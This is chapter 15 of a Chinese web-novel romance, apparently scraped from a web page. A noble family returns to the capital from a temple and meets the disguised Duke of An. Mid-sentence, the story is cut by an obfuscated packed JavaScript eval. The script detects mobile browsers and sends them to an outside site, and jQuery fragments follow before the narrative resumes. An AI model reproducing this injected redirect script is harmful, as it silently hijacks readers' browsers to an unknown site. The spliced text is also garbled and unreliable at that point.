15. 第 15 章

作品:《旺妻

    祝怀珠在后山虽被顾冥生护着没伤到一丝一毫,心神却是受了惊吓,当晚便发了高热,说起呓语来。


    守夜的行春察觉不对,大晚上将两个从侯府带来的大夫喊过来,给祝怀珠看了诊开了药,等后半夜她的高热稍退了些,众人这才松了口气。


    行春出去送两位大夫离开,祝嘉好主动开口:“母亲,你回去休息吧,我守着姐姐。”


    万婉宁瞧了眼床榻上不再冒汗,睡颜安稳的大女儿,也不勉强,点点头:“早膳后母亲来替换你,今个我们便不回去了。”


    “好。”


    事情没依着万婉宁的打算,辰时祝怀珠清醒过来,身上高热退了大半,又吃下一颗祝嘉好昏迷时沐兰从安大夫那边购来的退热丸,气色已然好了很多。


    顾虑家里的弟弟,祝怀珠再待不下去,叫丫鬟将收好的包袱放马车上,就要离开。


    万婉宁无法,只得吩咐车夫启程回府。


    从千佛寺到京城,快马加鞭要近乎两个时辰,他们临近中午出发,路上需得快些,才能让马车在城门落下前回去。


    万婉宁喜欢清净,祝嘉好将她搀扶上乌轮华盖马车,准备走去后面那辆更宽敞的马车时,身后传来几道马蹄声,祝嘉好循声望去,便见为首的高头大马上坐着一玄衣高冠,腰佩长剑,俊朗不凡的男子。


    正是顾冥生。


    身边的沐兰说:“要回去的事夫人怎么都不能瞒着顾将军,顾将军此举,是要护送我们回府。”


    祝嘉好明白母亲的意思,此举既是拉近和将军府的关系,也是防患于未然的意思。


    侯府护卫带的不多,这一路上想要太平些,将军府的人必然不能错过。


    祝嘉好没说什么,朝着顾冥生点点头,目光在他身后巡视一圈,没看到顾惊唐身影后,也不知是松了口气还是怅然,敛眸转身,上了马车。


    为首护卫手中马鞭一扬,“啪”一声,车轮滚动,一行队伍朝着京城方向而去。


    马车里,祝怀珠放下垂帘,疑惑道:“怎么没见安大夫的身影?赵嬷嬷没告知他我们要离开的事么?”


    “不过几日之交,他没来也合乎情理,总归日后不会再有交集。”祝嘉好倚靠在贴近车壁的左侧软榻上,身下是柔软的白狐狸皮毛,手中翻着从沐兰那借来的逍遥君编写的话本,不甚专注地看着。


    祝怀珠目光落在妹妹手中那本名为《金萝衫记》的话本书扉上,内心羞耻之余,隐隐自傲,她对自己编纂的话本有信心,根本不怕妹妹嘲笑她。


    就是……这次出来匆忙,《新安旧事》后续的稿子只写了一半,书铺掌柜那边要的急,依着约好的日子,她后日便要将书稿交过去,这本来是万无一失的事,偏生中间阿好出了事,她再无心思提笔写作。


    想到那些还放在自己闺房,尚未看完的催稿书信,祝怀珠感到了一丝头疼。


    适才如此着急催促母亲回府,并不全因弟弟,也有她交稿的日子要到了的缘故。


    摇摇头,将烦恼暂时压下去,祝怀珠心如明镜,瞅着祝嘉好道:“安大夫虽为人活泼,却懂事遵礼,更是应了母亲邀约,不能一同进城,也定不会耽误给我们送行之事,阿好,你和安大夫可是……”“是。”祝嘉好爽快承认,却不愿面对姐姐探究眼神,书本盖住那张夺目容颜,撒娇说:“姐你别问了,我们侯府同安大夫不是一路人,他也不会来侯府做客的。”


    这话刚落,队头传来喝马声,整个队伍停了下来。


    “怎么回事?不会又遇上埋伏了吧?”一旁老实吃糕点的沐兰瞪大眼,身子僵直动也不动,更不敢掀帘子,就怕叫那拦路的贼人瞧见车里情形。


    “放心,不会有事。”顾冥生骑马在前,眼下并无刀剑声传来,祝嘉好心知许是遇上了故人,玉手拨开车帘,目光直直朝前望去。


    她和祝怀珠乘坐的马车不知何时到了前面,马车距离顾冥生位置不远,祝嘉好清楚看见他面前站着一位少年郎,右手牵着披彩宝马,身形挺拔似竹,穿着丹红镶金丝的云纹锦衣,头戴金冠,高马尾上还绑着一根随风而起,撩动人心的红丝帛。


    一整个唇红齿白,眸似星辰,叫人见之而不能忘。


    漂亮少年郎察觉祝嘉好目光,扬起唇,眉目生花回望过来,佯装第一次见面一样,若无其事地打招呼:“祝二姑娘。”


    祝嘉好:……


    她心中冷笑,这人以为换一个身份,再装腔作势的同她搭话,她就不知他是谁了。


    眼下不能点破他身份,祝嘉好回以一个敷衍地笑,收手,帘子落下,彻底隔绝二人视线。


    “阿好,顾将军遇上了谁?”祝怀珠问,说着也朝外瞧了眼,见到是顾惊唐,目光还错愕望着她们这边,被他那张好相貌惊艳之余,急忙放下帘子:“怎么会是安国公?”


    “安国公?就是容貌闻于京城的顾将军的侄子?”不是歹徒,沐兰警惕顿消,也朝外瞧了眼,此时顾惊唐目光已经收回,正在蹙眉同顾冥生说话。


    声音压得低低的,“四叔,我怎么觉着,祝二小姐好像也不喜欢我这个身份的样子,你说她是不是看穿了我先前的大夫身份?”


    顾冥生目光落在大侄子格外出挑的容貌上,倒是对祝嘉好的态度很满意,嘴上却说:“阿好待人本就不远不近,如今第一次见你,你要阿好如何?”


    顾惊唐哽住了,他确实不能要求祝二小姐如何。


    马车上,沐兰呆呆放下车帘,糕点也不吃了,满目惊艳激动开口:“小姐,传言诚不欺我,安国公真真长了一张好相貌。”


    说着砸巴砸巴嘴,一脸庆幸:“好在他幼时定下的亲事早早便毁了,不然这满京城还不知要碎多少芳心。”


    顾惊唐命好,出生不久因生的实在讨喜,入宫参加宴会被皇帝抱在手中稀罕,因此打落皇帝杯中毒酒,救下准备同朝臣共饮同欢的帝后二人。


    也间接挑破了前朝余孽准备在宴会上行刺皇帝的计划,叫皇帝及时喊来禁军绝地反杀,就此抓获了前朝太子和三位皇亲,更是拔出萝卜带出泥,从他们同伙口中揪出不少在朝中潜伏的前朝余孽。


    皇帝大胜大喜,事后,大手一挥,将不到一岁,误打误撞完成救驾之举的顾惊唐册封为一品正安伯。


    朝野震惊,百姓讶然,却无人不服。


    顾惊唐就这么成了从古至今头一例靠着自身功绩封伯授土的,年纪最小的人。


    而身为顾惊唐祖父的顾大将军收到圣旨,开怀不已,等朝野风波平息,当即安排人在府内外大宴三日,为顾惊唐庆贺。


    哪曾想就是这招摇之举,叫顾惊唐被有心人惦记上,他自己也在酒宴上着了道,迷迷糊糊的就被谢家家主哄骗着订下了顾惊唐和谢家嫡孙女谢晚湘的婚事。


    事后顾大将军懊悔不已,可两家订下婚事的事已然满城皆知,谢家更是敲锣打鼓叫家中嫡子送来了谢晚湘的定亲玉佩。


    顾将军骑虎难下,只能黑着脸收下,等谢家人一走,转头便被皇帝的人叫进了宫,宫里发生什么众人不知,顾大将军因酒卖孙这事,众人猜测他在陛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565407|170981||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下那里绝对没得好脸。


    陛下想要铲除世家的心就差写在明面上,顾大将军身为大周重臣,手握兵权,居然敢第一世家谢家牵扯上关系,这桩婚事皇帝第一个就不会同意。


    好在后面一番波折,顾大将军终于在顾惊唐三岁时退了两家亲事,这才叫皇帝给了顾家一个好脸。


    “只怕那些芳心早就碎了。”祝怀珠笑着说,玉手一抬,小木桌上的温茶送到嘴边。


    “谢家既然瞧上了安国公,便不会轻易放手,谢家晚湘至今未定下亲事,何尝不是在等安国公。她有这心思,这满京城但凡心思通透一点的人家,又有哪个闺秀敢同她争抢。”祝怀珠语气幽幽,话语中难免三分可惜。


    谢家权势极大,朝野中门生遍布,即便陛下和先皇两代皇帝同谢家周旋对抗多年,有了分庭抗礼之力,想要动手也不得不因谢家狡猾,一时间找不出借口。


    而谢家唯一的嫡孙女谢晚湘,只要谢家不倒,即便是个病秧子,药罐子,也没人敢在她面前犯上欺言。


    她在众人眼中的地位,也始终比公主高。


    顺理成章的,也无人敢冒着得罪谢家的风险同安国公结亲。


    对于谢晚湘这人,祝怀珠见过几次,因晓得皇帝心思,向来避免接触,自然谈不上喜或者不喜,只能道一句比起自己,她才是真正的大家闺秀,礼仪典范。


    骤然听到谢晚湘的名字,祝嘉好目光一暗,想到前世她在顾惊唐死后也要扑上来强行贴铐的牵扯,既为顾惊唐感到委屈,也为自己感到悲哀。


    “谢家啊,那可真真是个极富贵的窝,它真的能倒下么?”沐兰愣愣发问。


    谢家权势到底有多大,她一个丫鬟都知晓,谢家当年都能将坚持变法改革的应首辅革职罢官弄去岭南流放,找出的应首辅贪污受贿的罪证叫陛下都反驳不出一二,沐兰很难想象谢家树倒猢狲散的场景。


    “能。”祝嘉好坚定说:“陛下是心有丘壑,手段强硬的明君,谢家这棵大树,迟早会被铲除。”


    对于导致她父母被流放岭南,让他们一家人相隔一方的罪魁祸首,祝嘉好坚信这辈子重来,只要陛下君心不变,谢家同样得不到好下场。


    祝怀珠望着神色极其笃定的妹妹,疑色浮现眼底,怎么觉得,阿好像是瞧见过那场景似的。


    天边晚霞飘红大半天际之时,一众人终于在城门关闭前夕进了城。


    车轮滚动骤减,稳稳停靠在了东阳侯府大门前。


    还未下车,祝嘉好便听到了她那常年在后院修仙炼丹的养父祝玉山的声音。


    “婉宁啊,你们可算是回来了,为夫都要被府中事宜折磨的掉发了,这几日睡梦中都在算账,拨算盘珠子的手也要断了。”祝玉山朝着下了车的妻子大吐苦水,完全没注意顾冥生,或者根本忘了他这个人。


    完毕想到什么,赶忙问:“阿好呢,赶紧下车叫为父瞧瞧你瘦了没?”


    “为父可是早早准备了两颗上好的疗伤丹药等着你回来吃用呢。”


    想到祝玉山多年下来炼制下来,成色个头依旧宛若核桃大小的,能噎死人的褐色丹药,祝嘉好眼皮一跳,准备下车的脚顿时收了回去。


    要说她前世尚未订亲之前,在东阳侯府唯一能称得上坎坷的事,便是她这位养父炼制完成后非要塞过来,称之为能带着她一起飞升享福的丹药了。


    念及那能让魂灵都升天的味道,她朝身边人讨好一笑:“怀珠,要不你先下去吧。”


    同样听丹药就心中忐忑的祝怀珠:……